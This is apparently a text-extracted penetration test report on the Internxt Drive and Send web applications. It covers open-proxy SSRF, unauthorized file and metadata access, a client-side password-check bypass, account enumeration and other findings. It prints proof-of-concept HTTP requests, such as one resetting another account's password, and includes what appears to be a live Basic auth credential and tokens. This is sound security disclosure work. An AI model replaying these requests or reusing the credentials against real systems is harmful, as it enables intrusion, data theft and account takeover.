Securitum Web
Securitum Web
SUBJECT
DATE
15.07.2022 – 15.09.2022
RETEST DATE
22.12.2022
07.02.2023 – 08.02.2023
13.03.2023
LOCATION
Cracow (Poland)
AUDITOR
Dariusz Tytko
VERSION
1.5
• https://drive.internxt.com/
• https://send.internxt.com/
Tests were conducted using the anonymous user (self-registered account) role.
The most severe vulnerabilities identified during the assessment were:
Given the current state of tested products and their purpose it's difficult to provide unequivocally positive
assessment of products security. Detected vulnerabilities need to be fixed in the first place, and in our opinion
more systematic approach in regard to security would be highly beneficial.
The severe vulnerabilities were identified in a key area of the application that is cryptography: broken file name
encryption (SECURITUM-225922-002: Unauthorized metadata access), zero-knowledge encryption policy
violation (SECURITUM-226409-019: Zero-knowledge encryption policy violation) that leads to unauthorized
access to the decrypted files (SECURITUM-225922-017: Unauthorized access to the decrypted files).
The below, risky architecture decisions were also identified that lead (and may lead to the other) severe
vulnerabilities:
It is recommended to fully revise the current application's architecture taking into account the reported issues
and plan long term and recurring activities in this area.
During the tests, particular emphasis was placed on vulnerabilities that might in a negative way affect
confidentiality, integrity or availability of processed data.
The security tests were carried out in accordance with generally accepted methodologies, including: OWASP
TOP10, (in a selected range) OWASP ASVS as well as internal good practices of conducting security tests
developed by Securitum.
An approach based on manual tests (using the above-mentioned methodologies), supported by a number of
automatic tools (i.a. Burp Suite Professional), was used during the assessment.
The vulnerabilities are described in detail in further parts of the report.
Risk classification
Vulnerabilities are classified in a five-point scale, that is reflecting both the probability of exploitation of the
vulnerability and the business risk of its exploitation. Below, there is a short description of meaning of each of
severity levels:
• CRITICAL – exploitation of the vulnerability makes it possible to compromise the server or network
device, or makes it possible to access (in read and/or write mode) data with a high degree of
confidentiality and significance. The exploitation is usually straightforward, i.e. an attacker does
not need to gain access to the systems that are difficult to reach and does not need to perform
any kind of social engineering. Vulnerabilities marked as ‘CRITICAL’ must be fixed without delay,
especially if they occur in production environment.
• HIGH – exploitation of the vulnerability makes it possible to access sensitive data (similar to
‘CRITICAL’ level), however the prerequisites for the attack (e.g. possession of a user account in an
internal system) makes it slightly less likely. Alternatively, the vulnerability is easy to exploit, but
the effects are somehow limited.
• MEDIUM – exploitation of the vulnerability might depend on external factors (e.g. convincing the
user to click on a hyperlink) or other conditions that are difficult to achieve. Furthermore,
exploitation of the vulnerability usually allows access only to a limited set of data or to data of
a lesser degree of significance.
• LOW – exploitation of the vulnerability results in minor direct impact on the security of the test
subject or depends on conditions that are very difficult to achieve in practical manner (e.g.
physical access to the server).
• INFO – issues marked as ‘INFO’ are not security vulnerabilities per se. Their aim is to point out good
practices, the implementation of which will lead to the overall increase of the system security level.
Alternatively, the issues point out some solutions in the system (e.g. from an architectural
perspective) that might limit the negative effects of other vulnerabilities.
CRITICAL
HIGH
MEDIUM
LOW
0 1 2 3 4 5 6 7
CRITICAL
HIGH
MEDIUM
LOW
0 1 2 3 4 5 6 7
CRITICAL
HIGH
MEDIUM
LOW
0 1 2 3 4 5 6
CRITICAL
HIGH
MEDIUM
LOW
0 1 2 3 4 5 6
Appendices....................................................................................................................................... 71
• SECURITUM-225922-008 – SECURITUM-225922-016.
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 13 Mar 2023 15:22:36 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 150803
Connection: close
x-request-url: https://sekurak.pl/?id=https://storage.gra.cloud.ovh.net/
strict-transport-security: max-age=63072000; includeSubDomains; preload
content-security-policy: upgrade-insecure-requests
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
x-ua-compatible: IE=Edge
cache-control: no-transform
referrer-policy: same-origin
link: <https://sekurak.pl/wp-json/>; rel="https://api.w.org/"
vary: Accept-Encoding
x-final-url: https://sekurak.pl/?id=https://storage.gra.cloud.ovh.net/
access-control-allow-origin: *
access-control-expose-headers: server,date,content-type,content-length,connection,strict-
transport-security,content-security-policy,x-xss-protection,x-content-type-options,x-ua-
compatible,cache-control,referrer-policy,link,vary,content-encoding,x-final-url,access-control-
allow-origin
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="robots" content="noindex,nofollow">
<title>Prometheus Time Series Collection and Processing Server</title>
[…]
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="robots" content="noindex,nofollow">
<title>Prometheus Time Series Collection and Processing Server</title>
[…]
SUMMARY
It was found that proxy01.api.internxt.com host can be used as an open HTTP proxy. Due to that, it is possible
to send HTTP requests to an arbitrary host. Such behavior can be abused for the following purposes:
1) Accessing internal services – in the POC section access to the internal Prometheus diagnostic tool was
shown.
2) Serving a phishing1 website at the subdomain of the application – placing the phishing website at a
trusted domain can significantly increase the attack efficiency.
3) Attacking any other hosts on the Internet using the application’s infrastructure – in the POC section
access to the pentester’s host was shown.
More information about related Server-Side Request Forgery vulnerability:
• https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
• https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
1
https://owasp.org/www-chapter-ghana/assets/slides/OWASP_Presentation_FINAL.pdf
ŮC÷ůI%
To present the potential consequences of the above functionality, the following example attack vectors were
confirmed:
1) Accessing an internal service. The following request was sent to reach non-public Prometheus
diagnostic tool running on the localhost interface:
GET /http://127.0.0.1:9090 HTTP/1.1
Host: proxy01.api.internxt.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 0
Origin: https://drive.internxt.com
Referer: https://drive.internxt.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close
Response:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 15 Jul 2022 15:36:12 GMT
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="robots" content="noindex,nofollow">
<title>Prometheus Time Series Collection and Processing Server</title>
[…]
Pentester prepared Burp Suite2 extension (see appendix) that allowed to access Prometheus tool using the
web browser:
2
https://portswigger.net/burp/pro
RECOMMENDATION
It may be difficult to mitigate the mentioned attack vectors without removing the proxy functionality. It is
recommended to implement a dedicated application’s API endpoint that will provide an access to the cloud
storage service instead of using the general proxy service.
More information:
• https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_
Sheet.html
Case2:
{"error":"Forbidden"}
Case3:
{"files":[],"last":true}
SUMMARY
It was found that it is possible to get an unauthorized access to the following metadata of folders and files
belonging to the other users:
• Folder name,
• Folder creation/update date,
• Encrypted file name (it was possible to decrypt this value),
• File type,
The following request was used to obtain information about folder belonging to another user (it is possible to
use arbitrary folder identifier [highlighted value]):
GET /api/storage/v2/folder/54182166 HTTP/1.1
Host: drive.internxt.com
Cookie: […]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Internxt-Version: 1.1.0
Internxt-Client: drive-web
Authorization: Bearer […]
Internxt-Mnemonic: doctor world […] fine core
Referer: https://drive.internxt.com/app
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 15 Jul 2022 17:34:26 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 276
[…]
Case 2:
3
https://portswigger.net/burp/documentation/desktop/tools/intruder/using
It was found that the file name (value name) is encrypted using the following algorithm:
Case 3:
Request (code and token parameters were generated for the pentester’s file):
GET
/api/storage/share/down/folders?code=d7db[…]64f8&token=31ef[…]2994&directoryId=40216159&offset=0&
limit=128 HTTP/1.1
Host: drive.internxt.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/plain, */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Internxt-Version: 1.1.0
Internxt-Client: drive-web
Referer: https://drive.internxt.com/s/folder/31ef[...]4f8
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 09 Sep 2022 09:03:03 GMT
{"folders":[{"id":40216162,"parentId":40216159,"name":"Family","bucket":null,"user_id":557545,"en
crypt_version":null,"deleted":false,"deletedAt":null,"createdAt":"2022-01-
03T15:39:44.000Z","updatedAt":"2022-01-
03T15:39:44.000Z","userId":557545,"parent_id":40216159},{"id":40216168,"parentId":40216159,"name"
:"Personal","bucket":null,"user_id":557545,"encrypt_version":null,"deleted":false,"deletedAt":nul
l,"createdAt":"2022-01-03T15:39:48.000Z","updatedAt":"2022-01-
03T15:39:48.000Z","userId":557545,"parent_id":40216159},{"id":57397890,"parentId":40216159,"name"
:"League of
Legends","bucket":null,"user_id":557545,"encrypt_version":null,"deleted":false,"deletedAt":null,"
createdAt":"2022-08-08T10:21:05.000Z","updatedAt":"2022-08-
08T10:21:05.000Z","userId":557545,"parent_id":40216159}],"last":true}
Case 4:
The following steps were taken to list the folders and files of the particular user – activate@internxt.com:
1) The following request was sent to gain the activate@internxt.com user’s root folder id (see
SECURITUM-225922-013: Sending anonymous initialization request):
POST /api/initialize HTTP/1.1
internxt-version: 1.5.17
internxt-client: drive-mobile
Content-Type: application/json; charset=utf-8
Content-Length: 33
Host: drive.internxt.com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.12
{"email":"activate@internxt.com"}
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 09 Sep 2022 09:10:11 GMT
[…]
{"user":{"email":"activate@internxt.com","root_folder_id":40216159}}
2) Then the following request was sent to gain listing of the folders and files:
GET /api/storage/tree/40216159 HTTP/1.1
Host: drive.internxt.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Internxt-Version: 1.1.0
Internxt-Client: drive-web
{"tree":{"id":40216159,"parentId":null,"name":"53616c7465645f5f6c60edf2354e6a53d092525ca79ffad964
0faf437e7081e2","bucket":"df055a2fe36544110445fa17","user_id":557545,"encrypt_version":null,"dele
ted":false,"deletedAt":null,"createdAt":"2022-01-03T15:39:40.000Z","updatedAt":"2022-01-
03T15:39:40.000Z","userId":557545,"parent_id":null,"files":[{"id":216376776,"fileId":"628e92a7aad
135000890a78f","name":"ONzgORtJ77qI28jDnr+GjwJn6xELsAEqsn3FKlKNYbHR7Z129AD/WOMkAChEKx6rm7hOER2drd
mXmC296dvSXtE5y5os0XCS554YYc+dcCOaR/M9IzReQMvp0xwAsy9F6gmOjol15ygI/FXFZbEBevuEwS5oPxjoV8OUtfOND2k
j","type":"dmg","size":"49237864","bucket":"df055a2fe36544110445fa17","folder_id":40216159,"encry
pt_version":"03-aes","deleted":false,"deletedAt":null,"userId":557545,"modificationTime":"2022-
05-25T20:33:44.000Z","createdAt":"2022-05-25T20:33:44.000Z","updatedAt":"2022-05-
25T20:33:44.000Z","folderId":40216159},{"id":225345501,"fileId":"62a204e94c7728000da54883","name"
:"ONzgORtJ77qI28jDnr+GjwJn6xELsAEqsn3FKlKNYbHR7Z129AD/WOMkAChEKx6rm7hOER2drdmXmC296dvSXtE5y5os0XC
S554YYc+dcCMAvziGJ7Zw6W1FqyOTzePT6Sm+sw==","type":"p12","size":"11542","bucket":"df055a2fe3654411
0445fa17","folder_id":40216159,"encrypt_version":"03-
aes","deleted":false,"deletedAt":null,"userId":557545,"modificationTime":"2022-06-
09T14:34:17.000Z","createdAt":"2022-06-09T14:34:17.000Z","updatedAt":"2022-06-
09T14:34:17.000Z","folderId":40216159},{"id":238142355,"fileId":"62bb154c889e3500062f1110",
[…]
3) The folder and file names were decrypted (see Case 2):
Example 1:
ONzgORtJ77qI28jDnr+GjwJn6xELsAEqsn3FKlKNYbHR7Z129AD/WOMkAChEKx6rm7hOER2drdmXmC296dvSXtE5y5os0XCS5
54YYc+dcCMAvziGJ7Zw6W1FqyOTzePT6Sm+sw==
Example 2:
ONzgORtJ77qI28jDnr+GjwJn6xELsAEqsn3FKlKNYbHR7Z129AD/WOMkAChEKx6rm7hOER2drdmXmC296dvSXtE5y5os0XCS5
54YYc+dcCOaR/M9IzReQMvp0xwAsy9F6gmOjol15ygI/FXFZbEBevuEwS5oPxjoV8OUtfOND2kj
LOCATION
• GET /api/storage/v2/folder/{id}
• GET /api/storage/tree/{id}
• GET /api/storage/share/down/folders
• https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Ch
eat_Sheet.html
{"statusCode":403,"message":"Forbidden"}
SUMMARY
It was found that it is possible to get unauthorized access to all decrypted files of the user who shares any
folder with the attacker.
This vulnerability indicates a violation of the zero-knowledge encryption policy. Any person having the share
link is able to gain access to all decrypted files of the user (including not shared ones). For more information
see SECURITUM-226409-019: Zero-knowledge encryption policy violation (Case 3) (report for the mobile
applications).
3) Pentester used the share link, the following request was observed:
GET
/api/storage/share/down/files?code=b428[…]140c&token=9d8a[…]d1fc&directoryId=58988135&offset=0&li
mit=128 HTTP/1.1
Host: drive.internxt.com
Cookie: […]
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: application/json, text/plain, */*
Internxt-Version: 1.1.0
{"files":[{"id":"6320873c1ca6f6000750b22c","fileId":"6320873c1ca6f6000750b22c","name":"file_from_
family_folder","type":"txt","size":"7","bucket":"781f7cca1600f9751cc89067","folder_id":58988135,"
encrypt_version":"03-
aes","deleted":false,"deletedAt":null,"userId":792147,"modificationTime":"2022-09-
13T13:35:57.000Z","createdAt":"2022-09-13T13:35:57.000Z","updatedAt":"2022-09-
13T13:36:07.000Z","folderId":58988135,"encryptionKey":"79252bdaec8cf74342b501ee9c990d2d1eb2094756
31cfb8e2b155e4e368a6f6"}],"last":true}
5) Pentester used the share link again, the following request was intercepted using Burp Suite Proxy tool,
and directoryId (58988135) was changed to id of the discovered directory (58988136):
6) As a result, the folder was downloaded as the zip file. The name of the folder was “Family” (as the
shared folder), however the folder contained decrypted file from the user’s “Personal” folder:
The simpler attack vector was identified that allows to get the files from the user’s root directory:
1) Pentester used the following request to get the id of the dt1+intx202@securitum.pl‘s root folder (see
SECURITUM-225922-013: Sending anonymous initialization request):
POST /api/initialize HTTP/1.1
internxt-version: 1.5.17
internxt-client: drive-mobile
Content-Type: application/json; charset=utf-8
Content-Length: 36
Host: drive.internxt.com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.12
{"email":"dt1+intx202@securitum.pl"}
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 13 Sep 2022 17:53:58 GMT
[…]
{"user":{"email":"dt1+intx202@securitum.pl","root_folder_id":58988134}}
2) Pentester used the share link, the following request was intercepted using Burp Suite Proxy tool, and
directoryId (58988135) was changed to id of the root directory (58988134):
3) As a result, the folder was downloaded as the zip file. The name of the folder was “Family” (as the
shared folder), however the folder contained decrypted file from the user’s root folder:
RECOMMENDATION
It should be not possible to get access to the files from any other folders than shared ones.
SUMMARY
The send.internxt.com application uses the common user and bucket to share files. There are the following
risks that may lead to Denial-of-Service attacks:
It was possible to set deactivation token for hello@internxt.com account (token was redacted for the security
reason):
DELETE /users/hello%40internxt.com?redirect=test&deactivator=8231[…]werb HTTP/1.1
accept: application/json, text/plain, */*
internxt-version: 1.5.17
internxt-client: drive-mobile
Authorization: Basic
aGVsbG9AaW50ZXJueHQuY29tOmFmNTczOTk4MjVkZDA1NDVkODNlOTBmYjYwMjdjZDdiYzRlODA4ZGE1OTc2MTUwMDc4MWI0M
WY3ZmEyZGNkMDQ=
x-api-version: 2
Host: api.internxt.com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.12
If-None-Match: W/"324-gkTfnKktjO9cDqL7A4JSHvzOQyY"
Content-Type: application/json
{"hashpass":"a7c97ee20862f2550147cf36c866cfbd49b329816ef695db09765c1ec234d400","subscriptionPlan"
:{"isSubscribed":false},"referralPartner":null,"maxSpaceBytes":100000000000000,"totalUsedSpaceByt
es":831937248969,"preferences":{"dnt":false},"isFreeTier":true,"activated":true,"resetter":null,"
deactivator":"8231[…]werb","activator":"edca98f43a953a6a4d2c00c5a2381aac9ea3d7f0781c25801ceac846d
dea0b61","created":"2022-06-21T12:50:43.886Z","uuid":"ab472da3-8d13-45a9-a7f5-
0c6b40303a00","email":"hello@internxt.com","id":"hello@internxt.com"}
Request 2:
GET /deactivations/8231[…]werb HTTP/1.1
accept: application/json, text/plain, */*
internxt-version: 1.5.17
internxt-client: drive-mobile
x-api-version: 2
Host: api.internxt.com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.12
Content-Type: application/json
Response:
HTTP/1.1 200 OK
[…]
{"hashpass":"a7c9[…]d400","subscriptionPlan":{"isSubscribed":false},"referralPartner":null,"maxSp
aceBytes":100000000000000,"totalUsedSpaceBytes":831937248976,"preferences":{"dnt":false},"isFreeT
ier":true,"activated":true,"resetter":"e654[…]d7d1","deactivator":"8231[…]werb","activator":"edca
98f43a953a6a4d2c00c5a2381aac9ea3d7f0781c25801ceac846ddea0b61","created":"2022-06-
21T12:50:43.886Z","uuid":"ab472da3-8d13-45a9-a7f5-
0c6b40303a00","email":"hello@internxt.com","id":"hello@internxt.com"}
Sending the following request probably will change the bridge password of the hello@internxt.com user:
POST /resets/e654[…]d7d1 HTTP/1.1
accept: application/json, text/plain, */*
internxt-version: 1.5.17
internxt-client: drive-mobile
x-api-version: 2
Host: api.internxt.com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.12
Content-Type: application/json
Content-Length: 19
{"password":"sha256(any value)"}
There is a risk, that the following request will remove the shared backed:
DELETE /v2/buckets/51a3[…]f233 HTTP/1.1
Host: api.internxt.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Internxt-Version: 1.0
Internxt-Client: drive-web
Authorization: Basic
aGVsbG9AaW50ZXJueHQuY29tOmFmNTczOTk4MjVkZDA1NDVkODNlOTBmYjYwMjdjZDdiYzRlODA4ZGE1OTc2MTUwMDc4MWI0M
WY3ZmEyZGNkMDQ=
Content-Length: 34
Origin: https://send.internxt.com
Referer: https://send.internxt.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close
LOCATION
send.internxt.com
RECOMMENDATION
All mentioned risks should be mitigated.
SUMMARY
It was found that it is possible to create folders for the other users. Such folders are not visible to the attacked
users, however they are not able to create folders with the same name anymore. If the attacker will choose the
common folder names like “backup”, “backups” etc. this can make the use of the application much more
difficult for the users. It is important to note that the attack may affect all users.
More information about broken access control vulnerability:
• https://owasp.org/Top10/A01_2021-Broken_Access_Control/
{"parentFolderId":54647166,"folderName":"Tests"}
{"id":54679992,"name":"ONzgORtJ77qI28jDnr+GjwJn6xELsAEqsn3FKlKNYbHR7Z129AD/WOMkAChEKx6rm7hOER2drd
mXmC296dvSXtE5y5os0XCS554YYc+dcCNQ88NfkLUN8PyuQtE4TnIf5yKwuH4=","bucket":null,"parentId":54647166
,"userId":755805,"updatedAt":"2022-07-15T20:27:28.737Z","createdAt":"2022-07-15T20:27:28.737Z"}
2) In the next step user dt1+inxt01@securitum.pl tried to create a “Tests” folder, however the following
error message was shown:
It is important to note that by iterating through all parent folder identifiers (parentFolderId parameter) the
attack may probably affect all folders/users in the application.
LOCATION
POST /api/storage/folder.
SUMMARY
Logged user has to re-enter the password before accessing “Security” panel (Settings -> Security). However,
there is a vulnerability that allows to get an access to this panel without knowing the password. Attacker with
an access to the active session will be able to get an access to the following functionalities included in the
panel:
• Change password,
• Two Factor Authentication (2FA),
• Backup key.
It was found that the following request is sent to validate the re-entered password:
GET /api/are-credentials-correct?email=dt1+inxt01@securitum.pl&hashedPassword=052a[...]7e39
HTTP/1.1
Host: drive.internxt.com
Cookie: […]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
{"error":"Wrong credentials"}
During the pentest, the server response was intercepted (using Burp Suite Proxy4 tool) and changed to:
HTTP/1.1 200 Unauthorized
Server: nginx
Date: Mon, 18 Jul 2022 10:13:44 GMT
[…]
{"error":"Wrong credentials"}
As a result, access to the “Security” panel was obtained and it was possible to change user’s password, enable
2FA and export backup key:
4
https://portswigger.net/burp/documentation/desktop/tools/proxy/using
RECOMMENDATION
Access to the “Security” panel should not be validated on the client-side code. Instead, server-side validation
should be implemented.
SUMMARY
The application’s “Security” panel allows to export a backup key. Access to the “Security” panel is protected
by requiring to re-enter the password. However, there is a vulnerability that allows to obtain the backup key
without accessing the panel.
LOCATION
Whole application.
RECOMMENDATION
The backup key should be accessible only after a properly validated access to the “Security” panel (see also
SECURITUM-225922-004: Access to “Security” panel without knowing the password). It is also recommended to
process a clear text backup key only on the client-side code (see also SECURITUM-225922-013: Sending
anonymous initialization request).
SUMMARY
Attacker is able to check if the given username (email address) is used in the application. Lists of the valid email
addresses can be used to perform further attacks e.g. sending phishing emails or blocking accounts (see
SECURITUM-225922-008: Blocking accounts). It is worth to mention that SECURITUM-225922-001: Open HTTP
Proxy vulnerability can be abused to prepare a credible-looking phishing page.
{"email":"dt1+inxt02@securitum.pl"}
{"hasKeys":true,"sKey":"5361[…]c817","tfa":null}
If the email was not valid, error message was returned instead:
HTTP/1.1 401 Unauthorized
Server: nginx
Date: Mon, 18 Jul 2022 11:11:47 GMT
{"error":"Wrong email/password"}
Case 2:
The following request was sent to check if the given email address is valid (Settings -> Account -> Invite a
friend):
POST /api/user/invite HTTP/1.1
Host: drive.internxt.com
Cookie: […]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/plain, */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Internxt-Version: 1.1.0
Internxt-Client: drive-web
Authorization: Bearer […]
Internxt-Mnemonic: […]
Content-Length: 44
Origin: https://drive.internxt.com
Referer: https://drive.internxt.com/preferences?tab=account
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"email":"audytor7+internxt01@securitum.pl"}
If the email address was valid, the response was returned after ~400ms:
Case 3:
If the email address was valid, the following response was returned:
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 22 Aug 2022 12:40:32 GMT
[…]
{"error":null,"message":"Email sent"}
If the email address was not existing, the following response was returned:
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Mon, 22 Aug 2022 12:40:28 GMT
[…]
Case 4:
{"email":"dt1+intx03@securitum.pl"}
{"user":{"email":"dt1+intx03@securitum.pl","root_folder_id":58098459}}
If the email was not existing, the following response was returned:
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Mon, 22 Aug 2022 14:14:09 GMT
[…]
Case 5:
GET /users/isactivated HTTP/1.1
accept: application/json, text/plain, */*
internxt-version: 1.5.17
internxt-client: drive-mobile
email: dt1+intx200@securitum.pl
x-api-version: 2
Host: api.internxt.com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.12
Content-Type: application/json
{"activated":true,"uuid":"6733de78-42c8-4e18-96b1-1405e7642e57"}
If the email was not existing, the following response was returned:
HTTP/1.1 400 Bad Request
Server: nginx/1.14.2
[…]
RECOMMENDATION
There should be no response difference (content and response time) for valid and invalid email addresses.
SUMMARY
It was found that after a few unsuccessful login attempts, the account is blocked. It exposes users to blocking
their accounts by the attacker who knows their email address.
More information:
• https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
{"email":"audytor7+internxt01@securitum.pl","password":"incorrect password
hash","tfa":"","privateKey":"[…]","publicKey":"[…]","revocateKey":"[…]"}
{"error":"Your account has been blocked for security reasons. Please reach out to us"}
LOCATION
POST https://drive.internxt.com/api/access
RECOMMENDATION
It is recommended to provide the following protections against brute-force attack instead of blocking an
account:
SUMMARY
The application’s API reveals technical details in the error messages. Such information may be useful for the
attacker to prepare the further attacks.
More information:
• https://owasp.org/www-community/Improper_Error_Handling
{"parentFolderId":"56277777","folderName":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
{"error":"(conn=3642855, no: 1406, SQLState: 22001) Data too long for column 'name' at row
1\nsql: INSERT INTO `folders`
(`id`,`parent_id`,`name`,`bucket`,`created_at`,`updated_at`,`user_id`) VALUES
(DEFAULT,?,?,?,?,?,?); -
parameters:['56277777','ONzgORtJ77qI28jDnr+GjwJn6xELsAEqsn3FKlKNYbHR7Z129AD/WOMkAChEKx6rm7hOER2dr
dmXmC296dvSXtE5y5os0XCS554YYc+dcCM...]"}
LOCATION
Whole application.
RECOMMENDATION
The error messages should not reveal the technical details. A generic error message should be returned.
Response:
HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0
Date: Wed, 08 Feb 2023 10:58:44 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 114
Connection: close
vary: Origin
access-control-allow-origin: *
access-control-expose-headers: sessionId
Strict-Transport-Security: max-age=31536000; includeSubDomains
• https://owasp.org/www-project-web-security-testing-guide/latest/4-
Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server
{"uploads":[{"index":0,"size":7}]}
Response:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 17 Aug 2022 11:10:36 GMT
Content-Type: application/json; charset=utf-8
[…]
Case 2:
Response:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 17 Aug 2022 10:32:14 GMT
[…]
LOCATION
• api.internxt.com
• proxy01.api.internxt.com
RECOMMENDATION
No redundant information should be returned in the HTTP response headers.
SUMMARY
It was found that the application uses numeric resource identifiers (e.g. folder 54647166). Such behavior is not
a security issue, however in the case of unauthorized access vulnerability it makes it much easier to carry out
a successfully attack (see SECURITUM-225922-002: Unauthorized metadata access, SECURITUM-225922-003:
Unauthorized folders creation). Recommended practice is to use unpredictable resource identifiers (e.g.
UUIDv4).
Additional advantage of using unpredictable identifiers is hiding information about number of existing
resources (e.g. number of folders).
LOCATION
General recommendation.
SUMMARY
It was found that the application does not inform users about the security-related events. During the tests, the
password was changed, and no information about this fact was sent to the user. It is a good security practice
to inform users about such events, as it increases a chance of the unauthorized access to the account
detection.
LOCATION
General recommendation.
RECOMMENDATION
It is recommended to inform users (e.g. using email messages) about the security-related events, e.g.:
SUMMARY
After the registration, the token is returned that can be exchanged to the new session token. The first token
has no expiration time. In case of leakage of this token, an attacker will be able to generate new tokens with
no limits.
The token was just a signed email address with no expiration time. The following request was used to generate
a new token:
GET /api/new-token HTTP/1.1
Host: drive.internxt.com
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Internxt-Version: 1.1.0
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.ZHQxK2ludHgwM0BzZWN1cml0dW0ucGw.BCj5[…]SSYU
[…]
{"newToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7I[…]F0IjoxNjYxMTY0NjU0fQ.[…]"}
LOCATION
Session management.
SUMMARY
It was found that the initialization request, sending after the registration, can be sent by an anonymous user.
The request contains email address and mnemonic value. No related security consequences were identified.
However, it is recommended to not allow to send this request on behalf of another user.
LOCATION
POST https://drive.internxt.com/api/initialize
RECOMMENDATION
Only authenticated users should be able to send initialization request and only on their behalf.
SUMMARY
It was found that web server supports deprecated versions of the TLS protocol – 1.0 and 1.1.
More information:
• https://security.googleblog.com/2018/10/modernizing-transport-security.html
Connected to 51.91.147.57
Testing SSL server api.internxt.com on port 443 using SNI name api.internxt.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 enabled
TLSv1.1 enabled
TLSv1.2 enabled
TLSv1.3 disabled
LOCATION
• api.internxt.com
• drive.internxt.com
• url6959.internxt.com
SUMMARY
The API endpoint was identified that reveals some diagnostic information. It is recommended to check if this
information should be publicly available.
LOCATION
https://api.internxt.com/contacts
RECOMMENDATION
It is recommended to check if the mentioned diagnostic information should be publicly available.
SUMMARY
It was found that the application does not use the following HTTP response security headers:
• X-Frame-Options,
• Content-Security-Policy,
• Strict-Transport-Security,
• Referrer-Policy.
